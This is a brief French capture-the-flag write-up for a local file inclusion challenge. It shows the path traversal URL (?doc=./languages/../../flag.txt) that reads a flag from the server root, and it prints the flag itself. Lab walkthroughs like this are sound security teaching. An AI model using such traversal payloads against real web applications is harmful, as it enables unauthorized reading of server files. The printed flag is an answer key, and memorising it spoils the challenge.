Local File Inclusion (LFI) (Medium)
Consignes
Le flag se trouve à la racine !
Réalisation
On se connecte au site et observons 3 liens :
Welcome (http://ctfd-link.com/?doc=./languages/welcome.txt)
Help (http://ctfd-link.com/?doc=./languages/help.txt)
About (http://ctfd-link.com/?doc=./languages/about.txt)
On observe donc que pour accéder à ces fichiers, le site passe en premier lieu par ./languages
.
On cherche donc le FLAG Ă partir de ici.
Quand on recherche le fichier flag.txt
via le lien http://ctfd-link.com/?doc=./languages/flag.txt
, le serveur nous retourne l'erreur Error reading file
On cherche donc à essayer de trouver le fichier au travers la machine en forçant la présence à la racine avec le lien suivant :
http://ctfd-link.com/?doc=./languages/../../flag.txt
Le serveur nous retourne donc le FLAG :
2600{_dnSlxgNeDeq_dvko2-69Q}
Last updated